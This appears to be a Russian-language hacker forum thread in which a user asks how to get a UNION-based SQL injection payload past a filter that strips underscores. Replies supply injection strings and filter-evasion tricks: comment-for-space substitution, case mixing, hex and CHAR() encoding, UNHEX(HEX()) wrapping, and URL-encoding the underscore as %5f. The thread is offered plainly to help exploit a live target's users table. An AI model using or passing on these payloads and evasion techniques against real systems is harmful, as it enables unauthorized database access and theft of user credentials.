![]() |
Перерыла весь интернет, а толку ноль
Надеюсь, что здесь смогут подсказать. Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят. Например запрос вида: id=-480+union+select+user_id,2+from+users+-- Отбросится все начиная с _id,2+from+users+-- И в итоге запрос не исполнится. Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция? |
Используй Limit
id=-480+union+select+user_id,2+from+users+LIMIT+1,1 -- И каждый раз меняешь LIMIT 0,1 -- и .тд P.S: кажется я вопроса не понял... Обойти фильтр такими способами 1) вместо + пиши /**/ 2) union = UnIoN и .тд |
Видимо не поняли...
Такое проходит, без подчеркивания: id=-480+union+select+user,2+from+users+-- А с подчеркиванием режет, не проходит: id=-480+union+select+user_id,2+from+users+-- Все что после подчеркивания вырезается. Остается id=-480+union+select+user Лимит и др тут не причем. |
Здесь режется _
Попробуйте закодировать. Функция CHAR() |
Цитата:
Код:
select field_name from table_nameКод:
select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k======= UPD Совет не верный. |
nikp а так можно? или опять резать будет?
id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+-- |
Цитата:
id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 -- |
Функция CHAR() никак не помогает, выводится константа раскодированная в итоге
|
Цитата:
Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом. |
Цитата:
|
| Время: 04:49 |